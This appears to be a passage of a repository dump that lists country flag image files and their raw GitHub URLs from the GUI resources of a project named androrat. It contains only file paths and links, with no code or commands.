https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/FR.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/Fiji.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/Fiji.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/GA.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/GA.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/GB.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/GB.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/GD.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/GD.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/GE.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/GE.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/GH.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/GH.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/GI.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/GI.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/GM.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/GM.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/GN.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/GN.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/GQ.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/GQ.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/GR.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/GR.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/GT.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/GT.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/GU.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/GU.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/GW.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/GW.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/GY.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/GY.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/HK.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/HK.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/HN.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/HN.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/HR.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/HR.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/HT.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/HT.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/HU.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/HU.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/ID.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/ID.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/IE.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/IE.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/IL.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/IL.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/IN.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/IN.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/IQ.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/IQ.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/IR.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/IR.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/IS.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/IS.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/IT.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/IT.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/JE.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/JE.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/JM.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/JM.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/JO.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/JO.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/Japan.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/Japan.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/KE.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/KE.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/KG.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/KG.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/KH.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/KH.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/KI.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/KI.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/KM.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/KM.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/KN.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/KN.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/KP.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/KP.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/KR.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/KR.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/KW.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/KW.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/KY.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/KY.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/KZ.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/KZ.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/LA.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/LA.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/LB.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/LB.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/LC.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/LC.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/LI.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/LI.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/LK.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/LK.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/LR.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/LR.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/LS.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/LS.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/LT.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/LT.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/LU.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/LU.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/LV.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/LV.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/LY.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/LY.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/MA.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/MA.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/MC.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/MC.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/MD.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/MD.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/ME.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/ME.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/MG.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/MG.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/MH.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/MH.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/MK.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/MK.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/ML.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/ML.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/MM.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/MM.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/MN.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/MN.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/MO.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/MO.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/MR.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/MR.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/MS.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/MS.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/MT.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/MT.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/MU.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/MU.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/MV.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/MV.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/MW.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/MW.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/MX.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/MX.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/MY.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/MY.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/MZ.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/MZ.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/Moldova.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/Moldova.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/NA.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/NA.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/NE.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/NE.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/NG.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/NG.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/NI.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/NI.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/NL.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/NL.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/NO.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/NO.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/NP.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/NP.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/NR.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/NR.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/NZ.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/NZ.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/OM.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/OM.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/OPEC.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/OPEC.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/PA.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/PA.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/PE.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/PE.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/PF.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/PF.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/PG.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/PG.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/PH.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/PH.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/PK.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/PK.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/PL.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/PL.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/PR.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/PR.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/PS.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/PS.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/PT.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/PT.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/PW.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/PW.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/PY.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/PY.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/QA.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/QA.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/RO.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/RO.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/RS.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/RS.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/RU.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/RU.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/RW.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/RW.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/Red Cross.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/Red Cross.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/SA.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/SA.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/SB.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/SB.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/SC.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/SC.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/SD.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/SD.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/SE.png:
--------------------------------------------------------------------------------
